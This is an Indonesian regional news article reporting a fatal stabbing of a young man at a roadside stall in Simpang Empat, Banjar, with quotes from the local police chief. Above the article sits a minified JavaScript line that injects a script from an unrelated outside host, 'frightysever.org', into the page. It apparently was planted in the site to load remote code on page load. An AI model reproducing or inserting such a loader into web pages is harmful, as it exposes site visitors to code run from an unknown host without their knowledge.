(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Seorang pemuda tewas terbunuh di Guntung Sarun Desa Simpang Empat, Kecamatan Simpang Empat, Kabupaten Banjar, Kamis (16/2/2023) malam.
Korban tewas bernama Abib (19), diketahui asal Madiun, Jawa Timur, berkelahi akibat diduga menggoda seorang penjaga warung.
Awal Abib terlibat perkelahian berdarah dengan pelaku berinisal I, teman penjaga warung tersebut.
“Sebelum kejadian seorang wanita penjaga warung itu melapor Abib menggoda dirinya, lalu datanglah pelaku ke warung lokasi kejadian,” ungkap Kapolsek Simpang Empat, Iptu M Alhamidie, Sabtu (18/2/2023) siang
Baca juga: Lawan Putusan 10 Tahun Penjara dan Uang Pengganti 110 M, Mardani Maming Banding!
Pelaku yang datang kemudian berdiri di pinggir jalan. Sebelum kejadian berdarah itu, pelaku melihat Abib yang berada di dalam warung sedang memandang dirinya dengan tatapan sinis.
Pelaku mencoba berbincang-bincang dengan wanita penjaga warung tersebut. Namun tiba-tiba, korban yang memandang kepada pelaku langsung memukulkan botol kaca ke dahi.
Secara spontan pelaku mencabut senjata tajam dan kemudian menusukannya sekali ke arah perut korban.
“Pelaku I sempat ditangkap dan dilerai oleh teman-temannya ke samping kanan warung sejauh lebih kurang 15 meter,” sebutnya.
Sedangkan korban yang ditusuk terjatuh ke dalam got sebelah warung tersebut, warga langsung berkerumun untuk menolong korban yang terjatuh di dalam got.
Baca juga: Disebut Jadi ‘Sarang Penyamun’, PT Baramarta Buat Lapor ke Polda Kalsel
“Abib dievakuasi dan dibawa ke Puskesmas Sungkai, namun sesampainya di Puskesmas dinyatakan sudaj meninggal dunia,” tambah Kapolsek Simpang Empat.
Saat ini pelaku I telah ditangkap tim gabungan Polsek Simpang Empat bersama Resmob Polres Banjar dengan barang bukti satu buah sajam jenis pisau dengan panjang 32 centimeter.
“Beserta kumpang yang terbuat dari kulit warna hitam, dengan gagang kayu warna coklat
yang diamankan ke Polsek Simpang Empat guna proses hukum lebih lanjut,” tuntasnya.
Pelaku pun dijerat polisi Pasal 338 KUHPidana perkara pembunuhan dengan penganiayaan dan diancam hukuman paling lama 15 tahun penjara. (kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More
This website uses cookies.